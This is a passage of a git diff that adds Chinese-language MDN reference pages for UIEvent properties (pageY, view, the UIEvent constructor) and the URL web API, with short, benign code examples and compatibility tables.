+<form name="form_coords">
+ Parent Element id: <input type="text" name="parentId" size="7" /><br />
+ pageX:<input type="text" name="pageXCoords" size="7" />
+ pageY:<input type="text" name="pageYCoords" size="7" /><br />
+ layerX:<input type="text" name="layerXCoords" size="7" />
+ layerY:<input type="text" name="layerYCoords" size="7" />
+</form>
+</div>
+
+</body>
+</html>
+
+ +

规范

+ +

这一属性不在规范中。

diff --git a/files/zh-cn/web/api/uievent/pagey/index.html b/files/zh-cn/web/api/uievent/pagey/index.html new file mode 100644 index 0000000000..6c504d3f52 --- /dev/null +++ b/files/zh-cn/web/api/uievent/pagey/index.html @@ -0,0 +1,89 @@ +--- +title: event.pageY +slug: Web/API/UIEvent/pageY +translation_of: Web/API/UIEvent/pageY +--- +

{{ ApiRef() }}

+

概述

+

返回事件发生时相对于整个文档的纵坐标.

+

语法

+
var pageY = event.pageY;
+
+

pageY 是事件发生时鼠标指针所在位置相对于整个文档的纵坐标,单位为像素.该属性会考虑到页面滚动条的高度.

+

例子

+
<html>
+<head>
+<title>pageX\pageY & layerX\layerY example</title>
+
+<script type="text/javascript">
+
+function showCoords(evt){
+  var form = document.forms.form_coords;
+  var parent_id = evt.target.parentNode.id;
+  form.parentId.value = parent_id;
+  form.pageXCoords.value = evt.pageX;
+  form.pageYCoords.value = evt.pageY;
+  form.layerXCoords.value = evt.layerX;
+  form.layerYCoords.value = evt.layerY;
+}
+
+</script>
+
+<style type="text/css">
+
+ #d1 {
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d2 {
+  position: absolute;
+  top: 180px;
+  left: 80%;
+  right:auto;
+  width: 40%;
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d3 {
+  position: absolute;
+  top: 240px;
+  left: 20%;
+  width: 50%;
+  border: solid blue 1px;
+  padding: 10px;
+ }
+
+</style>
+</head>
+
+<body onmousedown="showCoords(event)">
+
+<p>要显示鼠标所在位置的坐标,请点击页面上的任意地方.</p>
+
+<div id="d1">
+<span>这是一个未定位的div(没有指定css position属性),所以点击它返回的layerX/layerY值几乎和pageX/PageY值完全相同.</span>
+</div>
+
+<div id="d2">
+<span>这是一个已定位的div,因此点击它时返回的layerX/layerY的值是相对于自己左上角(top-left)位置的坐标值.
+然而pageX/pageY属性返回该div在文档中绝对位置,包括页面滚动高度.</span>
+</div>
+
+<div id="d3">
+<form name="form_coords">
+ 父元素id: <input type="text" name="parentId" size="7" /><br />
+ pageX:<input type="text" name="pageXCoords" size="7" />
+ pageY:<input type="text" name="pageYCoords" size="7" /><br />
+ layerX:<input type="text" name="layerXCoords" size="7" />
+ layerY:<input type="text" name="layerYCoords" size="7" />
+</form>
+</div>
+
+</body>
+</html>
+
+

规范

+

不属于任何公开的标准.

+

{{ languages( {"pl": "pl/DOM/event.pageY","en": "en/DOM/event.pageY" } ) }}

diff --git a/files/zh-cn/web/api/uievent/uievent/index.html b/files/zh-cn/web/api/uievent/uievent/index.html new file mode 100644 index 0000000000..d80f3c7f0e --- /dev/null +++ b/files/zh-cn/web/api/uievent/uievent/index.html @@ -0,0 +1,71 @@ +--- +title: UIEvent() +slug: Web/API/UIEvent/UIEvent +translation_of: Web/API/UIEvent/UIEvent +--- +
{{APIRef("DOM Events")}}
+ +

UIEvent() 作为构造函数,可用于构造一个新的 {{domxref("UIEvent")}} 对象.

+ +

语法

+ +
event = new UIEvent(typeArg [, UIEventInit])
+ +

Values

+ +
+
typeArg
+
传递的是一个 {{domxref("DOMString")}}类型的字符串,用来命名且重新发布的事件。
+
UIEventInit {{optional_inline}}
+
+ +
+
是 UIEventInit 集合, 它拥有以下属性: + +
    +
  • detail: 可选,默认为long类型的0数值, 用来标记事件的关联值. {{domxref("UIEvent.detail")}} 列出了标准事件的语义.
  • +
  • view: 可选,默认为null,类型为 {{domxref("WindowProxy")}}, 用来关联{{domxref("Window")}} 与event本身.
  • +
  • sourceCapabilities: {{non-standard_inline}} 一个 {{domxref("InputDeviceCapabilities")}} 类型的接口实例(对象),用来提供物理设备的触摸信息。
  • +
+ +
+

UIEventInit 合集依然接受从{{domxref("Event.Event", "EventInit")}} 定义来的合集.

+
+
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('InputDeviceCapabilities')}}{{Spec2('InputDeviceCapabilities')}}Added sourceCapabilities property.
{{SpecName('DOM3 Events','#interface-UIEvent','UIEvent()')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.UIEvent.UIEvent")}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" "b/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" new file mode 100644 index 0000000000..66b72f2637 --- /dev/null +++ "b/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" @@ -0,0 +1,52 @@ +--- +title: 用户界面项目视图 +slug: Web/API/UIEvent/视图 +tags: + - API + - DOM + - UI + - 参考 + - 只读 + - 属性 +translation_of: Web/API/UIEvent/view +--- +

{{APIRef("DOM Events")}}

+ +

The UIEvent.view 只读属性返回的生成事件的 {{domxref("document.defaultView")}} (window of the document) 对象。在浏览器中,这是事件所在的 {{ domxref("Window") }} 对象。

+ +

语法

+ +
var view = event.view;
+
+ + + +

技术参数

+ + + + + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}{{Spec2('DOM3 Events')}}从 {{SpecName('DOM2 Events')}}, 将 view 类型从 AbstractView 更改为 WindowProxy.
{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}{{Spec2('DOM2 Events')}}最初的定义。
+ +

浏览器的兼容性

+ + + +

{{Compat("api.UIEvent.view")}}

diff --git a/files/zh-cn/web/api/url/createobjecturl/index.html b/files/zh-cn/web/api/url/createobjecturl/index.html new file mode 100644 index 0000000000..bfa0e79d46 --- /dev/null +++ b/files/zh-cn/web/api/url/createobjecturl/index.html @@ -0,0 +1,98 @@ +--- +title: URL.createObjectURL() +slug: Web/API/URL/createObjectURL +tags: + - API + - DOM + - URL + - URL API + - 方法 +translation_of: Web/API/URL/createObjectURL +--- +
{{ApiRef("URL")}}
+ +

URL.createObjectURL() 静态方法会创建一个 {{domxref("DOMString")}},其中包含一个表示参数中给出的对象的URL。这个 URL 的生命周期和创建它的窗口中的 {{domxref("document")}} 绑定。这个新的URL 对象表示指定的 {{domxref("File")}} 对象或 {{domxref("Blob")}} 对象。

+ +

{{AvailableInWorkers}}

+ +
+

注意:此特性在 Service Worker 中不可用,因为它有可能导致内存泄漏。

+
+ +

语法

+ +
objectURL = URL.createObjectURL(object);
+
+ +

参数

+ +
+
object
+
用于创建 URL 的 {{domxref("File")}} 对象、{{domxref("Blob")}} 对象或者 {{domxref("MediaSource")}} 对象。​
+
+ +

返回值

+ +

一个{{domxref("DOMString")}}包含了一个对象URL,该URL可用于指定源 object的内容。

+ +

示例

+ +

查看使用对象URL显示图片.

+ +

附注

+ +

内存管理

+ +

在每次调用 createObjectURL() 方法时,都会创建一个新的 URL 对象,即使你已经用相同的对象作为参数创建过。当不再需要这些 URL 对象时,每个对象必须通过调用 {{domxref("URL.revokeObjectURL()")}} 方法来释放。

+ +

浏览器在 document 卸载的时候,会自动释放它们,但是为了获得最佳性能和内存使用状况,你应该在安全的时机主动释放掉它们。

+ +

使用相对URLs作为媒体流

+ +

在旧版本的媒体资源规范中,添加流作为{{HTMLElement("video")}}元素需要创建一个关于 {{domxref("MediaStream")}}的对象URL。现已没必要这样做了,浏览器已经移除了该操作的支持。

+ +
+

重要:如果你为了去添加流作为媒体元素,而仍旧使用着依赖{{domxref("URL.createObjectURL", "createObjectURL()")}} 的代码,你需要更新的代码,仅需要设定{{domxref("HTMLMediaElement.srcObject", "srcObject")}} 到`MediaStream `即可。

+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('File API', '#dfn-createObjectURL', 'createObjectURL()')}}{{Spec2('File API')}}Initial definition.
{{SpecName('Media Source Extensions', '#dom-url-createobjecturl', 'URL')}}{{Spec2('Media Source Extensions')}} +

MediaSource extension.

+ +

Older versions of this specification used createObjectURL() for {{domxref("MediaStream")}} objects; this is no longer supported.

+
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.createObjectURL")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/url/hash/index.html b/files/zh-cn/web/api/url/hash/index.html new file mode 100644 index 0000000000..e84ba5251e --- /dev/null +++ b/files/zh-cn/web/api/url/hash/index.html @@ -0,0 +1,60 @@ +--- +title: URL.hash +slug: Web/API/URL/hash +tags: + - API + - Hash + - URL +translation_of: Web/API/URL/hash +--- +
{{ APIRef("URL API") }}
+ +

{{domxref("URL")}} 接口的 hash 属性返回一个 {{domxref("USVString")}},其中会包含URL标识中的 '#' 和 fragment 标识符(fragment 即我们通常所说的 URL hash)。

+ +

这里 fragment 不会经过百分比编码(URL编码)。如果 URL 中没有 fragment,该属性会包含一个空字符串 —— "".

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.hash;
+object.hash = string;
+
+ +

返回值

+ +

{{domxref("USVString")}}.

+ +

示例

+ +
var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/href#Examples');
+url.hash // Returns '#Examples'
+ +

详情

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-hash', 'URL.hash')}}{{Spec2('URL')}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("api.URL.hash")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/url/host/index.html b/files/zh-cn/web/api/url/host/index.html new file mode 100644 index 0000000000..4db9e53887 --- /dev/null +++ b/files/zh-cn/web/api/url/host/index.html @@ -0,0 +1,66 @@ +--- +title: URL.host +slug: Web/API/URL/host +translation_of: Web/API/URL/host +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 接口的 host 属性是一个 {{domxref("USVString")}} 值,包含了主机信息,也就是 主机名(hostname),还有,如果 URL 接口不为空,也会包含冒号 ':' 和 URL 的 端口(port)

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.host;
+object.host = string;
+
+ +

 

+ +

返回值

+ +

{{domxref("USVString")}}.

+ +

 

+ +

示例

+ +
var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/host');
+var result = url.host // "developer.mozilla.org"
+
+var url = new URL('https://developer.mozilla.org:443/en-US/docs/Web/API/URL/host');
+var result = url.host // "developer.mozilla.org"
+// The port number is not included because 443 is the scheme's default port
+
+var url = new URL('https://developer.mozilla.org:4097/en-US/docs/Web/API/URL/host');
+var result = url.host // "developer.mozilla.org:4097"
+
+ +

详情

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-host', 'URL.host')}}{{Spec2('URL')}}初始定义
+ +

浏览器兼容

+ + + +

{{Compat("api.URL.host")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/url/hostname/index.html b/files/zh-cn/web/api/url/hostname/index.html new file mode 100644 index 0000000000..b2646188e1 --- /dev/null +++ b/files/zh-cn/web/api/url/hostname/index.html @@ -0,0 +1,54 @@ +--- +title: URL.hostname +slug: Web/API/URL/hostname +translation_of: Web/API/URL/hostname +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 接口的 hostname 属性是一个 {{domxref("USVString")}} 值,包含有 URL 中的域名。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.hostname;
+object.hostname = string;
+
+ +

返回值

+ +

{{domxref("USVString")}}.

+ +

示例

+ +
var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/hostname');
+var result = url.hostname; // Returns:'developer.mozilla.org'
+ +

详情

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-hostname', 'URL.hostname')}}{{Spec2('URL')}}初始定义
+ +

浏览器兼容

+ + + +

{{Compat("api.URL.hostname")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/url/href/index.html b/files/zh-cn/web/api/url/href/index.html new file mode 100644 index 0000000000..7bb80eb628 --- /dev/null +++ b/files/zh-cn/web/api/url/href/index.html @@ -0,0 +1,55 @@ +--- +title: URL.href +slug: Web/API/URL/href +translation_of: Web/API/URL/href +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 接口的 href 属性是一个包含完整 URL 的 {{domxref("USVString")}} 值。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.href;
+object.href = string;
+
+ +

返回值

+ +

{{domxref("USVString")}}.

+ +

示例

+ +
var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/href');
+var result = url.href; // Returns: 'https://developer.mozilla.org/en-US/docs/Web/API/URL/href'
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态意见
{{SpecName('URL', '#dom-url-href', 'URL.href')}}{{Spec2('URL')}}初始定义
+ +

浏览器兼容

+ + + +

{{Compat("api.URL.href")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/url/index.html b/files/zh-cn/web/api/url/index.html new file mode 100644 index 0000000000..2dddb9e669 --- /dev/null +++ b/files/zh-cn/web/api/url/index.html @@ -0,0 +1,142 @@ +--- +title: URL +slug: Web/API/URL +translation_of: Web/API/URL +--- +
{{APIRef("URL API")}}
+ +

URL接口用于解析,构造,规范化和编码 {{glossary("URL", "URLs")}}。 它通过提供允许您轻松阅读和修改URL组件的属性来工作。 通常,通过在调用URL的构造函数时将URL指定为字符串或提供相对URL和基本URL来创建新的URL对象。 然后,您可以轻松读取URL的已解析组成部分或对URL进行更改。

+ +

如果浏览器尚不支持{{domxref("URL.URL", "URL()")}}构造函数,则可以使用{{domxref("Window")}}中的{{domxref("Window.URL")}}属性。 确保检查您的任何目标浏览器是否要求对此添加前缀。

+ +

{{AvailableInWorkers}}

+ +

构造器

+ +
+
{{domxref("URL.URL", "new URL()")}}
+
创建并返回一个URL对象,该URL对象引用使用绝对URL字符串,相对URL字符串和基本URL字符串指定的URL。
+
+ +

属性

+ +
+
{{domxref("URL.hash", "hash")}}
+
包含'#'的{{domxref("USVString")}},后跟URL的片段标识符。
+
{{domxref("URL.host", "host")}}
+
一个{{domxref("USVString")}},其中包含域(即主机名),后跟(如果指定了端口)“:”和URL的端口。
+
{{domxref("URL.hostname", "hostname")}}
+
包含 URL 域名的 {{domxref("USVString")}}。
+
{{domxref("URL.href", "href")}}
+
包含完整 URL 的 {{domxref("USVString")}}。
+
{{domxref("URL.origin", "origin")}} {{readonlyInline}}
+
返回一个包含协议名、域名和端口号的 {{domxref("USVString")}}。
+
{{domxref("URL.password", "password")}}
+
包含在域名前面指定的密码的  {{domxref("USVString")}} 。
+
{{domxref("URL.pathname", "pathname")}}
+
以 '/' 起头紧跟着 URL 文件路径的 {{domxref("DOMString")}}。
+
{{domxref("URL.port", "port")}}
+
包含 URL 端口号的 {{domxref("USVString")}}。
+
{{domxref("URL.protocol", "protocol")}}
+
包含 URL 协议名的 {{domxref("USVString")}},末尾带 ':'。
+
{{domxref("URL.search", "search")}}
+
一个{{domxref("USVString")}} ,指示URL的参数字符串; 如果提供了任何参数,则此字符串包括所有参数,并以开头的“?”开头 字符。
+
{{domxref("URL.searchParams", "searchParams")}} {{readonlyInline}}
+
{{domxref("URLSearchParams")}}对象,可用于访问search中找到的各个查询参数。
+
{{domxref("URL.username","username")}}
+
包含在域名前面指定的用户名的 {{domxref("USVString")}}。
+
+ +
+
+ +

方法

+ +
+
{{domxref("URL.toString", "toString()")}}
+
返回包含整个URL的{{domxref("USVString")}}。 它是{{domxref("URL.href")}}的同义词,尽管它不能用于修改值。
+
{{domxref("URL.toJSON", "toJSON()")}}
+
返回包含整个URL的{{domxref("USVString")}}。 它返回与href属性相同的字符串。
+
+ +

静态方法

+ +
+
{{domxref("URL.createObjectURL", "createObjectURL()")}}
+
返回一个{{domxref("DOMString")}} ,包含一个唯一的blob链接(该链接协议为以blob:,后跟唯一标识浏览器中的对象的掩码)。
+
{{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}
+
销毁之前使用{{ domxref("URL.createObjectURL()") }}方法创建的URL实例。
+
+ +

使用说明

+ +

如果url参数是相对URL,则构造函数将使用url参数和可选的base参数作为基础。

+ +
const url = new URL('../cats', 'http://www.example.com/dogs');
+console.log(url.hostname); // "www.example.com"
+console.log(url.pathname); // "/cats"
+
+ +

可以设置URL属性以构造URL:

+ +
url.hash = 'tabby';
+console.log(url.href); // "http://www.example.com/cats#tabby"
+
+ +

URL根据 {{RFC(3986)}}中的规则进行编码。 例如:

+ +
url.pathname = 'démonstration.html';
+console.log(url.href); // "http://www.example.com/d%C3%A9monstration.html"
+
+ +

{{domxref("URLSearchParams")}}接口可用于构建和处理URL查询字符串。

+ +

要从当前窗口的URL获取搜索参数,可以执行以下操作:

+ +
// https://some.site/?id=123
+const parsedUrl = new URL(window.location.href);
+console.log(parsedUrl.searchParams.get("id")); // "123"
+
+ +

URL的{{domxref("URL.toString", "toString()")}}方法仅返回{{domxref("URL.href", "href")}} 属性的值,因此构造函数可以 用于直接对URL进行规范化和编码。

+ +
const response = await fetch(new URL('http://www.example.com/démonstration.html'));
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#creating-revoking', 'URL')}}{{Spec2('File API')}}Added the static methods URL.createObjectURL() and URL.revokeObjectURL().
{{SpecName('URL', '#api', 'Node')}}{{Spec2('URL')}}Initial definition (implements URLUtils).
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/url/origin/index.html b/files/zh-cn/web/api/url/origin/index.html new file mode 100644 index 0000000000..182ae919ea --- /dev/null +++ b/files/zh-cn/web/api/url/origin/index.html @@ -0,0 +1,112 @@ +--- +title: URL.origin +slug: Web/API/URL/origin +translation_of: Web/API/URL/origin +--- +

{{APIRef("URL API")}}

+ +

URL.origin 是一个只读属性,返回一个 {{domxref("USVString")}} 类型值,包含 URL 源经过 Unicode 序列化之后的值, 也就是:

+ + + +

{{AvailableInWorkers}}

+ +

语法

+ +
string = URLObject.origin;
+
+ +

示例

+ +
var result = new URL("blob:https://mozilla.org:443/").origin;
+// 返回:'https://developer.mozilla.org:443'
+
+ +

规范

+ + + + + + + + + + + + + + +
规范?状态备注
{{SpecName('URL', '#dom-url-origin', 'URL.origin')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器支持

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(52)}}{{CompatNo}} [1]{{CompatGeckoDesktop("26.0")}} [2][3]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatNo}} [1]{{CompatGeckoMobile("26.0")}} [2][3]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

[3] Before Gecko 49, results for URL using the blob scheme incorrectly returned null.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/url/pathname/index.html b/files/zh-cn/web/api/url/pathname/index.html new file mode 100644 index 0000000000..cb761610f6 --- /dev/null +++ b/files/zh-cn/web/api/url/pathname/index.html @@ -0,0 +1,59 @@ +--- +title: URL.pathname +slug: Web/API/URL/pathname +tags: + - API + - URL + - pathname +translation_of: Web/API/URL/pathname +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}}接口的pathname属性是一个{{domxref("USVString")}},包含一个初始 '/' 和URL的路径(如果没有路径,则为空字符串)

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.pathname;
+object.pathname = string;
+
+ +

+ +

一个{{domxref("USVString")}}.

+ +

例子

+ +
var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/pathname');
+var result = url.pathname; // Returns:"/en-US/docs/Web/API/URL/pathname"
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('URL', '#dom-url-pathname', 'URL.pathname')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.pathname")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/url/port/index.html b/files/zh-cn/web/api/url/port/index.html new file mode 100644 index 0000000000..5a50e2daf1 --- /dev/null +++ b/files/zh-cn/web/api/url/port/index.html @@ -0,0 +1,57 @@ +--- +title: URL.port +slug: Web/API/URL/port +translation_of: Web/API/URL/port +--- +
{{ApiRef("URL API")}}
+ +
{{domxref("URL")}} 接口的端口属性是包含了URL的端口号信息的{{domxref("USVString")}}值,如果URL中不包含明确的端口号,这个属性将为''.
+ +
+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.port;
+object.port = string;
+
+ +

参数

+ +

A {{domxref("USVString")}}.

+ +

示例

+ +
var url = new URL('https://mydomain.com:80/svn/Repos/');
+var result = url.port; // Returns:'80'
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('URL', '#dom-url-port', 'URL.port')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.port")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/url/protocol/index.html b/files/zh-cn/web/api/url/protocol/index.html new file mode 100644 index 0000000000..2774282d7e --- /dev/null +++ b/files/zh-cn/web/api/url/protocol/index.html @@ -0,0 +1,55 @@ +--- +title: URL.protocol +slug: Web/API/URL/protocol +translation_of: Web/API/URL/protocol +--- +
{{ApiRef("URL API")}}
+ +
{{domxref("URL")}}接口的protocol是一个包含URL协议的{{domxref("USVString")}}值,此值包含协议后的':'.
+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.protocol;
+object.protocol = string;
+
+ +

参数

+ +

A {{domxref("USVString")}}.

+ +

示例

+ +
var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/protocol');
+var result = url.protocol; // Returns:"https:"
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-protocol', 'protocol')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.protocol")}}

+ +

其他链接

+ + diff --git a/files/zh-cn/web/api/url/revokeobjecturl/index.html b/files/zh-cn/web/api/url/revokeobjecturl/index.html new file mode 100644 index 0000000000..4619beb7e1 --- /dev/null +++ b/files/zh-cn/web/api/url/revokeobjecturl/index.html @@ -0,0 +1,68 @@ +--- +title: URL.revokeObjectURL() +slug: Web/API/URL/revokeObjectURL +tags: + - API + - URL + - URL API + - 方法 +translation_of: Web/API/URL/revokeObjectURL +--- +
{{ApiRef("URL")}}
+ +

URL.revokeObjectURL() 静态方法用来释放一个之前已经存在的、通过调用 {{domxref("URL.createObjectURL()")}} 创建的 URL 对象。当你结束使用某个 URL 对象之后,应该通过调用这个方法来让浏览器知道不用在内存中继续保留对这个文件的引用了。

+ +

你可以在 sourceopen 被处理之后的任何时候调用 revokeObjectURL()。这是因为 createObjectURL() 仅仅意味着将一个媒体元素的 src 属性关联到一个 {{domxref("MediaSource")}} 对象上去。调用revokeObjectURL() 使这个潜在的对象回到原来的地方,允许平台在合适的时机进行垃圾收集。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
window.URL.revokeObjectURL(objectURL);
+
+ +

参数

+ +
+
objectURL
+
一个 {{domxref("DOMString")}},表示通过调用 {{domxref("URL.createObjectURL()") }} 方法产生的 URL 对象。
+
+ +

Return value

+ +

undefined

+ +

示例

+ +

查看使用对象 URL 显示图片

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('File API', '#dfn-revokeObjectURL', 'revokeObjectURL()')}}{{Spec2('File API')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.revokeObjectURL")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/url/search/index.html b/files/zh-cn/web/api/url/search/index.html new file mode 100644 index 0000000000..7bbe118ad5 --- /dev/null +++ b/files/zh-cn/web/api/url/search/index.html @@ -0,0 +1,63 @@ +--- +title: URL.search +slug: Web/API/URL/search +tags: + - API + - Property + - Reference + - Search + - URL +translation_of: Web/API/URL/search +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 接口的search 属性是一个搜索字符串, 也称为查询字符串,这是一个{{domxref("USVString")}}包含一个 '?'后面跟着URL的参数

+ +

现代浏览器提供{{domxref("URL.searchParams")}}属性,以便轻松解析查询字符串中的参数。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.search;
+object.search = string;
+
+ +

+ +

一个 {{domxref("USVString")}}.

+ +

例子

+ +
var url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/search?q=123');
+var queryString = url.search; // Returns:"?q=123"
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('URL', '#dom-url-search', 'URL.search')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.search")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/url/searchparams/index.html b/files/zh-cn/web/api/url/searchparams/index.html new file mode 100644 index 0000000000..d4d775aed0 --- /dev/null +++ b/files/zh-cn/web/api/url/searchparams/index.html @@ -0,0 +1,56 @@ +--- +title: URL.searchParams +slug: Web/API/URL/searchParams +tags: + - API + - URL + - 参考 + - 只读 + - 只读属性 + - 属性 +translation_of: Web/API/URL/searchParams +--- +
{{APIRef("URL API")}}
+ +

{{domxref("URL")}} 接口的 searchParams 属性返回一个 {{domxref("URLSearchParams")}} 对象,这个对象包含当前 URL 中解码后的 {{httpmethod("GET")}} 查询参数。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
const urlSearchParams = url.searchParams
+ +

属性值

+ +

一个 {{domxref("URLSearchParams")}} 对象。

+ +

例子

+ +

如果你的 URL 是 https://example.com/?name=Jonathan&age=18 ,你可以这样解析 URL,然后得到 nameage 的值。

+ +
let params = (new URL(document.location)).searchParams;
+let name = params.get('name'); // is the string "Jonathan Smith".
+let age = parseInt(params.get('age')); // is the number 18
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('URL', '#dom-url-searchparams', 'searchParams')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.searchParams")}}

diff --git a/files/zh-cn/web/api/url/tojson/index.html b/files/zh-cn/web/api/url/tojson/index.html new file mode 100644 index 0000000000..73e4eec754 --- /dev/null +++ b/files/zh-cn/web/api/url/tojson/index.html @@ -0,0 +1,54 @@ +--- +title: URL.toJSON() +slug: Web/API/URL/toJSON +tags: + - URL.toJSON() +translation_of: Web/API/URL/toJSON +--- +

{{APIRef("URL API")}}

+ +

{{domxref("URL")}}接口的 toJSON() 方法返回一个{{domxref("USVString")}},其中包含一个序列化的URL版本,尽管在实践中它似乎与{{domxref("URL.toString()")}}有相同的效果。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
const href = url.toJSON()
+ +

返回值

+ +

一个 {{domxref("USVString")}}.

+ +

例子

+ +
const url = new URL("https://developer.mozilla.org/en-US/docs/Web/API/URL/toString");
+url.toJSON(); // 应该以字符串形式返回URL
+ +

说明

+ + + + + + + + + + + + + + +
说明状态评论
{{SpecName('URL', '#dom-url-tojson', 'toJSON()')}}{{Spec2('URL')}}初步定义.
+ +

浏览器兼容

+ + + +

{{Compat("api.URL.toJSON")}}

+ +
+ +
diff --git a/files/zh-cn/web/api/url/tostring/index.html b/files/zh-cn/web/api/url/tostring/index.html new file mode 100644 index 0000000000..090bdf2be1 --- /dev/null +++ b/files/zh-cn/web/api/url/tostring/index.html @@ -0,0 +1,63 @@ +--- +title: URL.toString() +slug: Web/API/URL/toString +tags: + - API + - URL + - 参考 + - 字符串 + - 方法 +translation_of: Web/API/URL/toString +--- +
{{ApiRef("URL API")}}
+ +

URL.toString() 字符串化方法返回一个包含完整 URL 的 {{domxref("USVString")}}。它的作用等同于只读的 {{domxref("URL.href")}}。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = url.toString();
+ +

参数

+ +

无。

+ +

返回值

+ +

一个{{domxref("USVString")}}。

+ +

参考

+ +
const url = new URL("https://developer.mozilla.org/en-US/docs/Web/API/URL/toString");
+url.toString() // 应当返回字符串形式的 URL
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('URL', '#URL-stringification-behavior', 'stringifier')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.toString")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/url/url/index.html b/files/zh-cn/web/api/url/url/index.html new file mode 100644 index 0000000000..33cf3c7abf --- /dev/null +++ b/files/zh-cn/web/api/url/url/index.html @@ -0,0 +1,102 @@ +--- +title: URL() +slug: Web/API/URL/URL +tags: + - API + - URL + - URL API + - 参考 + - 构造器 +translation_of: Web/API/URL/URL +--- +
{{APIRef("URL API")}}
+ +

URL() 构造函数返回一个新创建的 {{domxref("URL")}} 对象,表示由一组参数定义的 URL。

+ +

如果给定的基本 URL 或生成的 URL 不是有效的 URL 链接,则会抛出一个{{jsxref("TypeError")}}。

+ +

{{AvailableInWorkers}}

+ +

